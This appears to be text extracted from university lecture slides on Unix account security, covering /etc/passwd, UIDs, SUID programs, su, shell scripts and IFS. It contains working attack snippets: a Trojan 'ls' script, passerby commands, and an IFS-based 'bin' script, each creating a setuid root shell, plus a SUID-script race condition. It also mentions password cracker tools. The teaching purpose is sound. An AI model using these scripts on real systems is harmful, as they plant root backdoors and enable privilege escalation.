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The Attack and Defense of Computers

Dr. 許 富 皓

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Passwords in Unix/Linux Systems

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/etc/passwdFormat:

Racehl: eH5/.mj7NB3dx:181:100:Rachel Cohen:/u/rachel:bin/ksh

account name

encrpyted password

uid gid user name

home directory

login shell

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System Function AccountUnix opens special accounts for a variety of system functions. (e.g. daemon/sys, ftp, nobody, uucp)

Daemon:*:1:1: :/tmp:ftp:*:3:3:FTP User:/usr/sool/ftp:Nobody:*:60001:60001::/tmp:uucp:*:4:4::/usr/spool/uucppublic:/us/lib/uucp/uucico

Prevent users from using login to log into the system.

(not include trusted host/user; rlogin)

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Password Crackers

Download (1)

Download (2)

John the Ripper password cracker -- Linux

Ophcrack 2 -- Windows

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One Time Password

Password list

Small Card

Calculator

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UID, GID, and SUID

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Account Name and UIDUID 0 root.A system identifies a user by her/his UID, not her/his name.e.g. Name: root, UID: 100 no root privilege

Name: doggy, UID: 0 root privilege. good habit: user name root should be preserved for system administrators.

Users with different user names but with the same UID are treated as the same user by the system.

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Real UIDs and Effective UIDsA Unix process has at least these two IDs:

Real UID: a process owner’s real identity and matches up with the username the owner logged in as.Effective UID: a system decide a process’s privilege based on this ID.

Usually, the above two IDs of a process are the same.

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When a suid program is run, the process involved takes on an efficient UID that is the same as the owner of the file, but the real UID remains the same as the one of the user that creates the process.chmod 4xxx filename

e.g. $ chmod 4757 program_name$ ls –al ..-rwsr-xrwx root user 16384 Sep 3 2005 program_name

setuid or SUID program

suid program indicator

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setuid Program examples supasswd

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GroupEach user belongs to a primary group that is stored in the /etc/passwd file.The /etc/group file contains every group and its gid in a system.

vision:*:101:Keith,arlin,janiceusers:*:100:startrek:*:102:janice,karen,arlin

Each user can belong to several different groups, but her/his gid can be the gid of only one of the groups which she/he belongs to.A user can use command newgrp to change her/his gid.

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su: Substitute User%whoamitim%su johnPassword: *******%whomaijohn========================================%suPassword:********# whoamiroot#

super user passwordnew prompt

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Security Problem with suType /bin/su -

1) avoid Trojan horse

(another program with the

same name and in one of

the directories listed in

the PATH variable.)

2) The access right of

the directory that contains

the Trojan may not be set

correctly.

cause the sub-shell to read all relevant

startup files and simulate a login;

therefore, the new shell uses the root’s

environment variable, including PATH.

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Stealing Superuser Account

A Trojan horse shell script with name ls.

1) Change the access right of the user’s home directory so that the victim must use root account to see the content of this directory.

2) Create a file named -f

Assume: the root’s PATH variable is as follows: .:xxxxxxx

Observation: When going into a directory, the first command a user types

usually is ls. %cat ls

#! /bin/sh

cp /bin/sh ./stuff/junk/.superdude

chmod 4555 ./stuff/junk/.superdude

rm –f $0

exec /bin/ls ${1+”$@”}

====================================

%cd

%chmod 700 .

%touch ./-f

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Account Steal by Passersby

$ cp /bin/sh /tmp/break-acct $ chmod 4755 /tmp/break-acct

When a user left her/his terminal unnoticed, then a bystander could create a backdoor easily by just typing the above commands.

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Shells and Shell Scripts

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ShellAlso called a command line interpreter.When you login a system, it displays a prompt on the screen and waits for you to enter a commend. A running shell is also a process.Some of the famous shells

Bourne shell (/bin/sh)Bourne Again shell (/bin/bash)Korn Shell (/bin/ksh)C-shell (/bin/csh)

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Shell ScriptA shell script is series of commands written in plain text file.In order to make a shell script executable, its file permission must be changed to executable.Usually the first line of a shell script is as follows:

#! Shell

, then followed by a series of commands

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Two shells are involved in the execution of a shell script.

The shell that accepts the shell script command.

The shell that executes the shell script.

Race Conditon:$ cd /tmp

$ ln /etc/setid_script temp

$ nice -20 temp &

$ mv my_script temp

Security Problems of SUID Shell Script

Between the time the kernel opens the file to see which interpreter to run, and when the (now-set-id) interpreter turns around and reopens the file to interpret it, an attacker might change the file (directly or via symbolic links).

attack scriptopened twice

1. by kernel

2. by executing shell

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Solution

/dev/fdWhen the kernel passes the name of the set-id script to open to the interpreter, rather than using a pathname (which would permit the race condition) it instead passes the filename /dev/fd/3.

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IFS Security

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IFS Environment Variable

The IFS specifies which characters separate commands. It is normally set to a space, tab, or new line.

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IFS and Shell Script Security

By changing the IFS, a hacker can change what programs our script executes.

Our script calls the /usr/bin/passwd program. Changing the IFS to "/" with

% export IFS='/' causes the script to no longer run /usr/bin/passwd, but instead run usr bin passwd.

• Now a hacker can create a script called usr that generates a root shell.

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Security Hole in /usr/lib/preserve

1.telnet

2. disconnect

3. preserve saves the edited file in a restricted area

4. recover program

reads the file from the area

vi

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/usr/lib/preserve and /bin/mail

preserve was installed SUID root.

preserve ran /bin/mail as the root user to alert users that their files had been preserved.

preserve executed the mail program with the system() function call.

According to the content of IFS to parse a string into command, options, and arguments

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If IFS=‘/’, then preserve will execute, bin mail instead of /bin/mail.

Change IFS to Execute a Different Program/Script

% cat bin

#! /bin/sh

cd /home/mydir/bin

cp /bn/sh ./sh

chown root sh

chmod 4755 sh